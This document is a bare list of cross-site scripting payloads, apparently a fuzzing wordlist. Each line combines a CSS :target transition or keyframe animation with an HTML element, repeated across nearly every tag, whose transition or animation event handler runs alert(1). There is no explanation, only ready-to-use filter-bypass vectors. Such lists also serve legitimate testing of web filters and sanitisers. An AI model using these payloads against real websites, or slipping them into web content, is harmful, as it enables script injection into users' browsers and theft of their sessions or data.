<style>:target {color: red;}</style><ul id=x style="transition:color 10s" ontransitioncancel=alert(1)></ul>
<style>:target {color: red;}</style><var id=x style="transition:color 10s" ontransitioncancel=alert(1)></var>
<style>:target {color: red;}</style><video id=x style="transition:color 10s" ontransitioncancel=alert(1)></video>
<style>:target {color: red;}</style><wbr id=x style="transition:color 10s" ontransitioncancel=alert(1)></wbr>
<style>:target {color: red;}</style><xmp id=x style="transition:color 10s" ontransitioncancel=alert(1)></xmp>
<style>:target {color:red;}</style><a id=x style="transition:color 1s" ontransitionend=alert(1)></a>
<style>:target {color:red;}</style><abbr id=x style="transition:color 1s" ontransitionend=alert(1)></abbr>
<style>:target {color:red;}</style><acronym id=x style="transition:color 1s" ontransitionend=alert(1)></acronym>
<style>:target {color:red;}</style><address id=x style="transition:color 1s" ontransitionend=alert(1)></address>
<style>:target {color:red;}</style><applet id=x style="transition:color 1s" ontransitionend=alert(1)></applet>
<style>:target {color:red;}</style><area id=x style="transition:color 1s" ontransitionend=alert(1)></area>
<style>:target {color:red;}</style><article id=x style="transition:color 1s" ontransitionend=alert(1)></article>
<style>:target {color:red;}</style><aside id=x style="transition:color 1s" ontransitionend=alert(1)></aside>
<style>:target {color:red;}</style><audio id=x style="transition:color 1s" ontransitionend=alert(1)></audio>
<style>:target {color:red;}</style><b id=x style="transition:color 1s" ontransitionend=alert(1)></b>
<style>:target {color:red;}</style><base id=x style="transition:color 1s" ontransitionend=alert(1)></base>
<style>:target {color:red;}</style><basefont id=x style="transition:color 1s" ontransitionend=alert(1)></basefont>
<style>:target {color:red;}</style><bdi id=x style="transition:color 1s" ontransitionend=alert(1)></bdi>
<style>:target {color:red;}</style><bdo id=x style="transition:color 1s" ontransitionend=alert(1)></bdo>
<style>:target {color:red;}</style><bgsound id=x style="transition:color 1s" ontransitionend=alert(1)></bgsound>
<style>:target {color:red;}</style><big id=x style="transition:color 1s" ontransitionend=alert(1)></big>
<style>:target {color:red;}</style><blink id=x style="transition:color 1s" ontransitionend=alert(1)></blink>
<style>:target {color:red;}</style><blockquote id=x style="transition:color 1s" ontransitionend=alert(1)></blockquote>
<style>:target {color:red;}</style><body id=x style="transition:color 1s" ontransitionend=alert(1)></body>
<style>:target {color:red;}</style><br id=x style="transition:color 1s" ontransitionend=alert(1)></br>
<style>:target {color:red;}</style><button id=x style="transition:color 1s" ontransitionend=alert(1)></button>
<style>:target {color:red;}</style><canvas id=x style="transition:color 1s" ontransitionend=alert(1)></canvas>
<style>:target {color:red;}</style><caption id=x style="transition:color 1s" ontransitionend=alert(1)></caption>
<style>:target {color:red;}</style><center id=x style="transition:color 1s" ontransitionend=alert(1)></center>
<style>:target {color:red;}</style><cite id=x style="transition:color 1s" ontransitionend=alert(1)></cite>
<style>:target {color:red;}</style><code id=x style="transition:color 1s" ontransitionend=alert(1)></code>
<style>:target {color:red;}</style><col id=x style="transition:color 1s" ontransitionend=alert(1)></col>
<style>:target {color:red;}</style><colgroup id=x style="transition:color 1s" ontransitionend=alert(1)></colgroup>
<style>:target {color:red;}</style><command id=x style="transition:color 1s" ontransitionend=alert(1)></command>
<style>:target {color:red;}</style><content id=x style="transition:color 1s" ontransitionend=alert(1)></content>
<style>:target {color:red;}</style><data id=x style="transition:color 1s" ontransitionend=alert(1)></data>
<style>:target {color:red;}</style><datalist id=x style="transition:color 1s" ontransitionend=alert(1)></datalist>
<style>:target {color:red;}</style><dd id=x style="transition:color 1s" ontransitionend=alert(1)></dd>
<style>:target {color:red;}</style><del id=x style="transition:color 1s" ontransitionend=alert(1)></del>
<style>:target {color:red;}</style><details id=x style="transition:color 1s" ontransitionend=alert(1)></details>
<style>:target {color:red;}</style><dfn id=x style="transition:color 1s" ontransitionend=alert(1)></dfn>
<style>:target {color:red;}</style><dialog id=x style="transition:color 1s" ontransitionend=alert(1)></dialog>
<style>:target {color:red;}</style><dir id=x style="transition:color 1s" ontransitionend=alert(1)></dir>
<style>:target {color:red;}</style><div id=x style="transition:color 1s" ontransitionend=alert(1)></div>
<style>:target {color:red;}</style><dl id=x style="transition:color 1s" ontransitionend=alert(1)></dl>
<style>:target {color:red;}</style><dt id=x style="transition:color 1s" ontransitionend=alert(1)></dt>
<style>:target {color:red;}</style><element id=x style="transition:color 1s" ontransitionend=alert(1)></element>
<style>:target {color:red;}</style><em id=x style="transition:color 1s" ontransitionend=alert(1)></em>
<style>:target {color:red;}</style><embed id=x style="transition:color 1s" ontransitionend=alert(1)></embed>
<style>:target {color:red;}</style><fieldset id=x style="transition:color 1s" ontransitionend=alert(1)></fieldset>
<style>:target {color:red;}</style><figcaption id=x style="transition:color 1s" ontransitionend=alert(1)></figcaption>
<style>:target {color:red;}</style><figure id=x style="transition:color 1s" ontransitionend=alert(1)></figure>
<style>:target {color:red;}</style><font id=x style="transition:color 1s" ontransitionend=alert(1)></font>
<style>:target {color:red;}</style><footer id=x style="transition:color 1s" ontransitionend=alert(1)></footer>
<style>:target {color:red;}</style><form id=x style="transition:color 1s" ontransitionend=alert(1)></form>
<style>:target {color:red;}</style><frame id=x style="transition:color 1s" ontransitionend=alert(1)></frame>
<style>:target {color:red;}</style><frameset id=x style="transition:color 1s" ontransitionend=alert(1)></frameset>
<style>:target {color:red;}</style><h1 id=x style="transition:color 1s" ontransitionend=alert(1)></h1>
<style>:target {color:red;}</style><head id=x style="transition:color 1s" ontransitionend=alert(1)></head>
<style>:target {color:red;}</style><header id=x style="transition:color 1s" ontransitionend=alert(1)></header>
<style>:target {color:red;}</style><hgroup id=x style="transition:color 1s" ontransitionend=alert(1)></hgroup>
<style>:target {color:red;}</style><hr id=x style="transition:color 1s" ontransitionend=alert(1)></hr>
<style>:target {color:red;}</style><html id=x style="transition:color 1s" ontransitionend=alert(1)></html>
<style>:target {color:red;}</style><i id=x style="transition:color 1s" ontransitionend=alert(1)></i>
<style>:target {color:red;}</style><iframe id=x style="transition:color 1s" ontransitionend=alert(1)></iframe>
<style>:target {color:red;}</style><image id=x style="transition:color 1s" ontransitionend=alert(1)></image>
<style>:target {color:red;}</style><img id=x style="transition:color 1s" ontransitionend=alert(1)></img>
<style>:target {color:red;}</style><input id=x style="transition:color 1s" ontransitionend=alert(1)></input>
<style>:target {color:red;}</style><ins id=x style="transition:color 1s" ontransitionend=alert(1)></ins>
<style>:target {color:red;}</style><isindex id=x style="transition:color 1s" ontransitionend=alert(1)></isindex>
<style>:target {color:red;}</style><kbd id=x style="transition:color 1s" ontransitionend=alert(1)></kbd>
<style>:target {color:red;}</style><keygen id=x style="transition:color 1s" ontransitionend=alert(1)></keygen>
<style>:target {color:red;}</style><label id=x style="transition:color 1s" ontransitionend=alert(1)></label>
<style>:target {color:red;}</style><legend id=x style="transition:color 1s" ontransitionend=alert(1)></legend>
<style>:target {color:red;}</style><li id=x style="transition:color 1s" ontransitionend=alert(1)></li>
<style>:target {color:red;}</style><link id=x style="transition:color 1s" ontransitionend=alert(1)></link>
<style>:target {color:red;}</style><listing id=x style="transition:color 1s" ontransitionend=alert(1)></listing>
<style>:target {color:red;}</style><main id=x style="transition:color 1s" ontransitionend=alert(1)></main>
<style>:target {color:red;}</style><map id=x style="transition:color 1s" ontransitionend=alert(1)></map>
<style>:target {color:red;}</style><mark id=x style="transition:color 1s" ontransitionend=alert(1)></mark>
<style>:target {color:red;}</style><marquee id=x style="transition:color 1s" ontransitionend=alert(1)></marquee>
<style>:target {color:red;}</style><menu id=x style="transition:color 1s" ontransitionend=alert(1)></menu>
<style>:target {color:red;}</style><menuitem id=x style="transition:color 1s" ontransitionend=alert(1)></menuitem>
<style>:target {color:red;}</style><meta id=x style="transition:color 1s" ontransitionend=alert(1)></meta>
<style>:target {color:red;}</style><meter id=x style="transition:color 1s" ontransitionend=alert(1)></meter>
<style>:target {color:red;}</style><multicol id=x style="transition:color 1s" ontransitionend=alert(1)></multicol>
<style>:target {color:red;}</style><nav id=x style="transition:color 1s" ontransitionend=alert(1)></nav>
<style>:target {color:red;}</style><nextid id=x style="transition:color 1s" ontransitionend=alert(1)></nextid>
<style>:target {color:red;}</style><nobr id=x style="transition:color 1s" ontransitionend=alert(1)></nobr>
<style>:target {color:red;}</style><noembed id=x style="transition:color 1s" ontransitionend=alert(1)></noembed>
<style>:target {color:red;}</style><noframes id=x style="transition:color 1s" ontransitionend=alert(1)></noframes>
<style>:target {color:red;}</style><noscript id=x style="transition:color 1s" ontransitionend=alert(1)></noscript>
<style>:target {color:red;}</style><object id=x style="transition:color 1s" ontransitionend=alert(1)></object>
<style>:target {color:red;}</style><ol id=x style="transition:color 1s" ontransitionend=alert(1)></ol>
<style>:target {color:red;}</style><optgroup id=x style="transition:color 1s" ontransitionend=alert(1)></optgroup>
<style>:target {color:red;}</style><option id=x style="transition:color 1s" ontransitionend=alert(1)></option>
<style>:target {color:red;}</style><output id=x style="transition:color 1s" ontransitionend=alert(1)></output>
<style>:target {color:red;}</style><p id=x style="transition:color 1s" ontransitionend=alert(1)></p>
<style>:target {color:red;}</style><param id=x style="transition:color 1s" ontransitionend=alert(1)></param>
<style>:target {color:red;}</style><picture id=x style="transition:color 1s" ontransitionend=alert(1)></picture>
<style>:target {color:red;}</style><plaintext id=x style="transition:color 1s" ontransitionend=alert(1)></plaintext>
<style>:target {color:red;}</style><pre id=x style="transition:color 1s" ontransitionend=alert(1)></pre>
<style>:target {color:red;}</style><progress id=x style="transition:color 1s" ontransitionend=alert(1)></progress>
<style>:target {color:red;}</style><q id=x style="transition:color 1s" ontransitionend=alert(1)></q>
<style>:target {color:red;}</style><rb id=x style="transition:color 1s" ontransitionend=alert(1)></rb>
<style>:target {color:red;}</style><rp id=x style="transition:color 1s" ontransitionend=alert(1)></rp>
<style>:target {color:red;}</style><rt id=x style="transition:color 1s" ontransitionend=alert(1)></rt>
<style>:target {color:red;}</style><rtc id=x style="transition:color 1s" ontransitionend=alert(1)></rtc>
<style>:target {color:red;}</style><ruby id=x style="transition:color 1s" ontransitionend=alert(1)></ruby>
<style>:target {color:red;}</style><s id=x style="transition:color 1s" ontransitionend=alert(1)></s>
<style>:target {color:red;}</style><samp id=x style="transition:color 1s" ontransitionend=alert(1)></samp>
<style>:target {color:red;}</style><script id=x style="transition:color 1s" ontransitionend=alert(1)></script>
<style>:target {color:red;}</style><section id=x style="transition:color 1s" ontransitionend=alert(1)></section>
<style>:target {color:red;}</style><select id=x style="transition:color 1s" ontransitionend=alert(1)></select>
<style>:target {color:red;}</style><shadow id=x style="transition:color 1s" ontransitionend=alert(1)></shadow>
<style>:target {color:red;}</style><slot id=x style="transition:color 1s" ontransitionend=alert(1)></slot>
<style>:target {color:red;}</style><small id=x style="transition:color 1s" ontransitionend=alert(1)></small>
<style>:target {color:red;}</style><source id=x style="transition:color 1s" ontransitionend=alert(1)></source>
<style>:target {color:red;}</style><spacer id=x style="transition:color 1s" ontransitionend=alert(1)></spacer>
<style>:target {color:red;}</style><span id=x style="transition:color 1s" ontransitionend=alert(1)></span>
<style>:target {color:red;}</style><strike id=x style="transition:color 1s" ontransitionend=alert(1)></strike>
<style>:target {color:red;}</style><strong id=x style="transition:color 1s" ontransitionend=alert(1)></strong>
<style>:target {color:red;}</style><style id=x style="transition:color 1s" ontransitionend=alert(1)></style>
<style>:target {color:red;}</style><sub id=x style="transition:color 1s" ontransitionend=alert(1)></sub>
<style>:target {color:red;}</style><summary id=x style="transition:color 1s" ontransitionend=alert(1)></summary>
<style>:target {color:red;}</style><sup id=x style="transition:color 1s" ontransitionend=alert(1)></sup>
<style>:target {color:red;}</style><svg id=x style="transition:color 1s" ontransitionend=alert(1)></svg>
<style>:target {color:red;}</style><table id=x style="transition:color 1s" ontransitionend=alert(1)></table>
<style>:target {color:red;}</style><tbody id=x style="transition:color 1s" ontransitionend=alert(1)></tbody>
<style>:target {color:red;}</style><td id=x style="transition:color 1s" ontransitionend=alert(1)></td>
<style>:target {color:red;}</style><template id=x style="transition:color 1s" ontransitionend=alert(1)></template>
<style>:target {color:red;}</style><textarea id=x style="transition:color 1s" ontransitionend=alert(1)></textarea>
<style>:target {color:red;}</style><tfoot id=x style="transition:color 1s" ontransitionend=alert(1)></tfoot>
<style>:target {color:red;}</style><th id=x style="transition:color 1s" ontransitionend=alert(1)></th>
<style>:target {color:red;}</style><thead id=x style="transition:color 1s" ontransitionend=alert(1)></thead>
<style>:target {color:red;}</style><time id=x style="transition:color 1s" ontransitionend=alert(1)></time>
<style>:target {color:red;}</style><title id=x style="transition:color 1s" ontransitionend=alert(1)></title>
<style>:target {color:red;}</style><tr id=x style="transition:color 1s" ontransitionend=alert(1)></tr>
<style>:target {color:red;}</style><track id=x style="transition:color 1s" ontransitionend=alert(1)></track>
<style>:target {color:red;}</style><tt id=x style="transition:color 1s" ontransitionend=alert(1)></tt>
<style>:target {color:red;}</style><u id=x style="transition:color 1s" ontransitionend=alert(1)></u>
<style>:target {color:red;}</style><ul id=x style="transition:color 1s" ontransitionend=alert(1)></ul>
<style>:target {color:red;}</style><var id=x style="transition:color 1s" ontransitionend=alert(1)></var>
<style>:target {color:red;}</style><video id=x style="transition:color 1s" ontransitionend=alert(1)></video>
<style>:target {color:red;}</style><wbr id=x style="transition:color 1s" ontransitionend=alert(1)></wbr>
<style>:target {color:red;}</style><xmp id=x style="transition:color 1s" ontransitionend=alert(1)></xmp>
<style>:target {transform: rotate(180deg);}</style><a id=x style="transition:transform 2s" ontransitionrun=alert(1)></a>
<style>:target {transform: rotate(180deg);}</style><abbr id=x style="transition:transform 2s" ontransitionrun=alert(1)></abbr>
<style>:target {transform: rotate(180deg);}</style><acronym id=x style="transition:transform 2s" ontransitionrun=alert(1)></acronym>
<style>:target {transform: rotate(180deg);}</style><address id=x style="transition:transform 2s" ontransitionrun=alert(1)></address>
<style>:target {transform: rotate(180deg);}</style><applet id=x style="transition:transform 2s" ontransitionrun=alert(1)></applet>
<style>:target {transform: rotate(180deg);}</style><area id=x style="transition:transform 2s" ontransitionrun=alert(1)></area>
<style>:target {transform: rotate(180deg);}</style><article id=x style="transition:transform 2s" ontransitionrun=alert(1)></article>
<style>:target {transform: rotate(180deg);}</style><aside id=x style="transition:transform 2s" ontransitionrun=alert(1)></aside>
<style>:target {transform: rotate(180deg);}</style><audio id=x style="transition:transform 2s" ontransitionrun=alert(1)></audio>
<style>:target {transform: rotate(180deg);}</style><b id=x style="transition:transform 2s" ontransitionrun=alert(1)></b>
<style>:target {transform: rotate(180deg);}</style><base id=x style="transition:transform 2s" ontransitionrun=alert(1)></base>
<style>:target {transform: rotate(180deg);}</style><basefont id=x style="transition:transform 2s" ontransitionrun=alert(1)></basefont>
<style>:target {transform: rotate(180deg);}</style><bdi id=x style="transition:transform 2s" ontransitionrun=alert(1)></bdi>
<style>:target {transform: rotate(180deg);}</style><bdo id=x style="transition:transform 2s" ontransitionrun=alert(1)></bdo>
<style>:target {transform: rotate(180deg);}</style><bgsound id=x style="transition:transform 2s" ontransitionrun=alert(1)></bgsound>
<style>:target {transform: rotate(180deg);}</style><big id=x style="transition:transform 2s" ontransitionrun=alert(1)></big>
<style>:target {transform: rotate(180deg);}</style><blink id=x style="transition:transform 2s" ontransitionrun=alert(1)></blink>
<style>:target {transform: rotate(180deg);}</style><blockquote id=x style="transition:transform 2s" ontransitionrun=alert(1)></blockquote>
<style>:target {transform: rotate(180deg);}</style><body id=x style="transition:transform 2s" ontransitionrun=alert(1)></body>
<style>:target {transform: rotate(180deg);}</style><br id=x style="transition:transform 2s" ontransitionrun=alert(1)></br>
<style>:target {transform: rotate(180deg);}</style><button id=x style="transition:transform 2s" ontransitionrun=alert(1)></button>
<style>:target {transform: rotate(180deg);}</style><canvas id=x style="transition:transform 2s" ontransitionrun=alert(1)></canvas>
<style>:target {transform: rotate(180deg);}</style><caption id=x style="transition:transform 2s" ontransitionrun=alert(1)></caption>
<style>:target {transform: rotate(180deg);}</style><center id=x style="transition:transform 2s" ontransitionrun=alert(1)></center>
<style>:target {transform: rotate(180deg);}</style><cite id=x style="transition:transform 2s" ontransitionrun=alert(1)></cite>
<style>:target {transform: rotate(180deg);}</style><code id=x style="transition:transform 2s" ontransitionrun=alert(1)></code>
<style>:target {transform: rotate(180deg);}</style><col id=x style="transition:transform 2s" ontransitionrun=alert(1)></col>
<style>:target {transform: rotate(180deg);}</style><colgroup id=x style="transition:transform 2s" ontransitionrun=alert(1)></colgroup>
<style>:target {transform: rotate(180deg);}</style><command id=x style="transition:transform 2s" ontransitionrun=alert(1)></command>
<style>:target {transform: rotate(180deg);}</style><content id=x style="transition:transform 2s" ontransitionrun=alert(1)></content>
<style>:target {transform: rotate(180deg);}</style><data id=x style="transition:transform 2s" ontransitionrun=alert(1)></data>
<style>:target {transform: rotate(180deg);}</style><datalist id=x style="transition:transform 2s" ontransitionrun=alert(1)></datalist>
<style>:target {transform: rotate(180deg);}</style><dd id=x style="transition:transform 2s" ontransitionrun=alert(1)></dd>
<style>:target {transform: rotate(180deg);}</style><del id=x style="transition:transform 2s" ontransitionrun=alert(1)></del>
<style>:target {transform: rotate(180deg);}</style><details id=x style="transition:transform 2s" ontransitionrun=alert(1)></details>
<style>:target {transform: rotate(180deg);}</style><dfn id=x style="transition:transform 2s" ontransitionrun=alert(1)></dfn>
<style>:target {transform: rotate(180deg);}</style><dialog id=x style="transition:transform 2s" ontransitionrun=alert(1)></dialog>
<style>:target {transform: rotate(180deg);}</style><dir id=x style="transition:transform 2s" ontransitionrun=alert(1)></dir>
<style>:target {transform: rotate(180deg);}</style><div id=x style="transition:transform 2s" ontransitionrun=alert(1)></div>
<style>:target {transform: rotate(180deg);}</style><dl id=x style="transition:transform 2s" ontransitionrun=alert(1)></dl>
<style>:target {transform: rotate(180deg);}</style><dt id=x style="transition:transform 2s" ontransitionrun=alert(1)></dt>
<style>:target {transform: rotate(180deg);}</style><element id=x style="transition:transform 2s" ontransitionrun=alert(1)></element>
<style>:target {transform: rotate(180deg);}</style><em id=x style="transition:transform 2s" ontransitionrun=alert(1)></em>
<style>:target {transform: rotate(180deg);}</style><embed id=x style="transition:transform 2s" ontransitionrun=alert(1)></embed>
<style>:target {transform: rotate(180deg);}</style><fieldset id=x style="transition:transform 2s" ontransitionrun=alert(1)></fieldset>
<style>:target {transform: rotate(180deg);}</style><figcaption id=x style="transition:transform 2s" ontransitionrun=alert(1)></figcaption>
<style>:target {transform: rotate(180deg);}</style><figure id=x style="transition:transform 2s" ontransitionrun=alert(1)></figure>
<style>:target {transform: rotate(180deg);}</style><font id=x style="transition:transform 2s" ontransitionrun=alert(1)></font>
<style>:target {transform: rotate(180deg);}</style><footer id=x style="transition:transform 2s" ontransitionrun=alert(1)></footer>
<style>:target {transform: rotate(180deg);}</style><form id=x style="transition:transform 2s" ontransitionrun=alert(1)></form>
<style>:target {transform: rotate(180deg);}</style><frame id=x style="transition:transform 2s" ontransitionrun=alert(1)></frame>
<style>:target {transform: rotate(180deg);}</style><frameset id=x style="transition:transform 2s" ontransitionrun=alert(1)></frameset>
<style>:target {transform: rotate(180deg);}</style><h1 id=x style="transition:transform 2s" ontransitionrun=alert(1)></h1>
<style>:target {transform: rotate(180deg);}</style><head id=x style="transition:transform 2s" ontransitionrun=alert(1)></head>
<style>:target {transform: rotate(180deg);}</style><header id=x style="transition:transform 2s" ontransitionrun=alert(1)></header>
<style>:target {transform: rotate(180deg);}</style><hgroup id=x style="transition:transform 2s" ontransitionrun=alert(1)></hgroup>
<style>:target {transform: rotate(180deg);}</style><hr id=x style="transition:transform 2s" ontransitionrun=alert(1)></hr>
<style>:target {transform: rotate(180deg);}</style><html id=x style="transition:transform 2s" ontransitionrun=alert(1)></html>
<style>:target {transform: rotate(180deg);}</style><i id=x style="transition:transform 2s" ontransitionrun=alert(1)></i>
<style>:target {transform: rotate(180deg);}</style><iframe id=x style="transition:transform 2s" ontransitionrun=alert(1)></iframe>
<style>:target {transform: rotate(180deg);}</style><image id=x style="transition:transform 2s" ontransitionrun=alert(1)></image>
<style>:target {transform: rotate(180deg);}</style><img id=x style="transition:transform 2s" ontransitionrun=alert(1)></img>
<style>:target {transform: rotate(180deg);}</style><input id=x style="transition:transform 2s" ontransitionrun=alert(1)></input>
<style>:target {transform: rotate(180deg);}</style><ins id=x style="transition:transform 2s" ontransitionrun=alert(1)></ins>
<style>:target {transform: rotate(180deg);}</style><isindex id=x style="transition:transform 2s" ontransitionrun=alert(1)></isindex>
<style>:target {transform: rotate(180deg);}</style><kbd id=x style="transition:transform 2s" ontransitionrun=alert(1)></kbd>
<style>:target {transform: rotate(180deg);}</style><keygen id=x style="transition:transform 2s" ontransitionrun=alert(1)></keygen>
<style>:target {transform: rotate(180deg);}</style><label id=x style="transition:transform 2s" ontransitionrun=alert(1)></label>
<style>:target {transform: rotate(180deg);}</style><legend id=x style="transition:transform 2s" ontransitionrun=alert(1)></legend>
<style>:target {transform: rotate(180deg);}</style><li id=x style="transition:transform 2s" ontransitionrun=alert(1)></li>
<style>:target {transform: rotate(180deg);}</style><link id=x style="transition:transform 2s" ontransitionrun=alert(1)></link>
<style>:target {transform: rotate(180deg);}</style><listing id=x style="transition:transform 2s" ontransitionrun=alert(1)></listing>
<style>:target {transform: rotate(180deg);}</style><main id=x style="transition:transform 2s" ontransitionrun=alert(1)></main>
<style>:target {transform: rotate(180deg);}</style><map id=x style="transition:transform 2s" ontransitionrun=alert(1)></map>
<style>:target {transform: rotate(180deg);}</style><mark id=x style="transition:transform 2s" ontransitionrun=alert(1)></mark>
<style>:target {transform: rotate(180deg);}</style><marquee id=x style="transition:transform 2s" ontransitionrun=alert(1)></marquee>
<style>:target {transform: rotate(180deg);}</style><menu id=x style="transition:transform 2s" ontransitionrun=alert(1)></menu>
<style>:target {transform: rotate(180deg);}</style><menuitem id=x style="transition:transform 2s" ontransitionrun=alert(1)></menuitem>
<style>:target {transform: rotate(180deg);}</style><meta id=x style="transition:transform 2s" ontransitionrun=alert(1)></meta>
<style>:target {transform: rotate(180deg);}</style><meter id=x style="transition:transform 2s" ontransitionrun=alert(1)></meter>
<style>:target {transform: rotate(180deg);}</style><multicol id=x style="transition:transform 2s" ontransitionrun=alert(1)></multicol>
<style>:target {transform: rotate(180deg);}</style><nav id=x style="transition:transform 2s" ontransitionrun=alert(1)></nav>
<style>:target {transform: rotate(180deg);}</style><nextid id=x style="transition:transform 2s" ontransitionrun=alert(1)></nextid>
<style>:target {transform: rotate(180deg);}</style><nobr id=x style="transition:transform 2s" ontransitionrun=alert(1)></nobr>
<style>:target {transform: rotate(180deg);}</style><noembed id=x style="transition:transform 2s" ontransitionrun=alert(1)></noembed>
<style>:target {transform: rotate(180deg);}</style><noframes id=x style="transition:transform 2s" ontransitionrun=alert(1)></noframes>
<style>:target {transform: rotate(180deg);}</style><noscript id=x style="transition:transform 2s" ontransitionrun=alert(1)></noscript>
<style>:target {transform: rotate(180deg);}</style><object id=x style="transition:transform 2s" ontransitionrun=alert(1)></object>
<style>:target {transform: rotate(180deg);}</style><ol id=x style="transition:transform 2s" ontransitionrun=alert(1)></ol>
<style>:target {transform: rotate(180deg);}</style><optgroup id=x style="transition:transform 2s" ontransitionrun=alert(1)></optgroup>
<style>:target {transform: rotate(180deg);}</style><option id=x style="transition:transform 2s" ontransitionrun=alert(1)></option>
<style>:target {transform: rotate(180deg);}</style><output id=x style="transition:transform 2s" ontransitionrun=alert(1)></output>
<style>:target {transform: rotate(180deg);}</style><p id=x style="transition:transform 2s" ontransitionrun=alert(1)></p>
<style>:target {transform: rotate(180deg);}</style><param id=x style="transition:transform 2s" ontransitionrun=alert(1)></param>
<style>:target {transform: rotate(180deg);}</style><picture id=x style="transition:transform 2s" ontransitionrun=alert(1)></picture>
<style>:target {transform: rotate(180deg);}</style><plaintext id=x style="transition:transform 2s" ontransitionrun=alert(1)></plaintext>
<style>:target {transform: rotate(180deg);}</style><pre id=x style="transition:transform 2s" ontransitionrun=alert(1)></pre>
<style>:target {transform: rotate(180deg);}</style><progress id=x style="transition:transform 2s" ontransitionrun=alert(1)></progress>
<style>:target {transform: rotate(180deg);}</style><q id=x style="transition:transform 2s" ontransitionrun=alert(1)></q>
<style>:target {transform: rotate(180deg);}</style><rb id=x style="transition:transform 2s" ontransitionrun=alert(1)></rb>
<style>:target {transform: rotate(180deg);}</style><rp id=x style="transition:transform 2s" ontransitionrun=alert(1)></rp>
<style>:target {transform: rotate(180deg);}</style><rt id=x style="transition:transform 2s" ontransitionrun=alert(1)></rt>
<style>:target {transform: rotate(180deg);}</style><rtc id=x style="transition:transform 2s" ontransitionrun=alert(1)></rtc>
<style>:target {transform: rotate(180deg);}</style><ruby id=x style="transition:transform 2s" ontransitionrun=alert(1)></ruby>
<style>:target {transform: rotate(180deg);}</style><s id=x style="transition:transform 2s" ontransitionrun=alert(1)></s>
<style>:target {transform: rotate(180deg);}</style><samp id=x style="transition:transform 2s" ontransitionrun=alert(1)></samp>
<style>:target {transform: rotate(180deg);}</style><script id=x style="transition:transform 2s" ontransitionrun=alert(1)></script>
<style>:target {transform: rotate(180deg);}</style><section id=x style="transition:transform 2s" ontransitionrun=alert(1)></section>
<style>:target {transform: rotate(180deg);}</style><select id=x style="transition:transform 2s" ontransitionrun=alert(1)></select>
<style>:target {transform: rotate(180deg);}</style><shadow id=x style="transition:transform 2s" ontransitionrun=alert(1)></shadow>
<style>:target {transform: rotate(180deg);}</style><slot id=x style="transition:transform 2s" ontransitionrun=alert(1)></slot>
<style>:target {transform: rotate(180deg);}</style><small id=x style="transition:transform 2s" ontransitionrun=alert(1)></small>
<style>:target {transform: rotate(180deg);}</style><source id=x style="transition:transform 2s" ontransitionrun=alert(1)></source>
<style>:target {transform: rotate(180deg);}</style><spacer id=x style="transition:transform 2s" ontransitionrun=alert(1)></spacer>
<style>:target {transform: rotate(180deg);}</style><span id=x style="transition:transform 2s" ontransitionrun=alert(1)></span>
<style>:target {transform: rotate(180deg);}</style><strike id=x style="transition:transform 2s" ontransitionrun=alert(1)></strike>
<style>:target {transform: rotate(180deg);}</style><strong id=x style="transition:transform 2s" ontransitionrun=alert(1)></strong>
<style>:target {transform: rotate(180deg);}</style><style id=x style="transition:transform 2s" ontransitionrun=alert(1)></style>
<style>:target {transform: rotate(180deg);}</style><sub id=x style="transition:transform 2s" ontransitionrun=alert(1)></sub>
<style>:target {transform: rotate(180deg);}</style><summary id=x style="transition:transform 2s" ontransitionrun=alert(1)></summary>
<style>:target {transform: rotate(180deg);}</style><sup id=x style="transition:transform 2s" ontransitionrun=alert(1)></sup>
<style>:target {transform: rotate(180deg);}</style><svg id=x style="transition:transform 2s" ontransitionrun=alert(1)></svg>
<style>:target {transform: rotate(180deg);}</style><table id=x style="transition:transform 2s" ontransitionrun=alert(1)></table>
<style>:target {transform: rotate(180deg);}</style><tbody id=x style="transition:transform 2s" ontransitionrun=alert(1)></tbody>
<style>:target {transform: rotate(180deg);}</style><td id=x style="transition:transform 2s" ontransitionrun=alert(1)></td>
<style>:target {transform: rotate(180deg);}</style><template id=x style="transition:transform 2s" ontransitionrun=alert(1)></template>
<style>:target {transform: rotate(180deg);}</style><textarea id=x style="transition:transform 2s" ontransitionrun=alert(1)></textarea>
<style>:target {transform: rotate(180deg);}</style><tfoot id=x style="transition:transform 2s" ontransitionrun=alert(1)></tfoot>
<style>:target {transform: rotate(180deg);}</style><th id=x style="transition:transform 2s" ontransitionrun=alert(1)></th>
<style>:target {transform: rotate(180deg);}</style><thead id=x style="transition:transform 2s" ontransitionrun=alert(1)></thead>
<style>:target {transform: rotate(180deg);}</style><time id=x style="transition:transform 2s" ontransitionrun=alert(1)></time>
<style>:target {transform: rotate(180deg);}</style><title id=x style="transition:transform 2s" ontransitionrun=alert(1)></title>
<style>:target {transform: rotate(180deg);}</style><tr id=x style="transition:transform 2s" ontransitionrun=alert(1)></tr>
<style>:target {transform: rotate(180deg);}</style><track id=x style="transition:transform 2s" ontransitionrun=alert(1)></track>
<style>:target {transform: rotate(180deg);}</style><tt id=x style="transition:transform 2s" ontransitionrun=alert(1)></tt>
<style>:target {transform: rotate(180deg);}</style><u id=x style="transition:transform 2s" ontransitionrun=alert(1)></u>
<style>:target {transform: rotate(180deg);}</style><ul id=x style="transition:transform 2s" ontransitionrun=alert(1)></ul>
<style>:target {transform: rotate(180deg);}</style><var id=x style="transition:transform 2s" ontransitionrun=alert(1)></var>
<style>:target {transform: rotate(180deg);}</style><video id=x style="transition:transform 2s" ontransitionrun=alert(1)></video>
<style>:target {transform: rotate(180deg);}</style><wbr id=x style="transition:transform 2s" ontransitionrun=alert(1)></wbr>
<style>:target {transform: rotate(180deg);}</style><xmp id=x style="transition:transform 2s" ontransitionrun=alert(1)></xmp>
<style>:target {transform: rotate(180deg);}</style><xss id=x style="transition:transform 10s" ontransitioncancel=alert(1)></xss>
<style>:target {transform: rotate(180deg);}</style><xss id=x style="transition:transform 2s" ontransitionrun=alert(1)></xss>
<style>@keyframes slidein {}</style><base style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></base>
<style>@keyframes slidein {}</style><basefont style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></basefont>
<style>@keyframes slidein {}</style><bgsound style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></bgsound>
<style>@keyframes slidein {}</style><isindex style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></isindex>
<style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></xss>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><a id=x style="position:absolute;" onanimationcancel="alert(1)"></a>
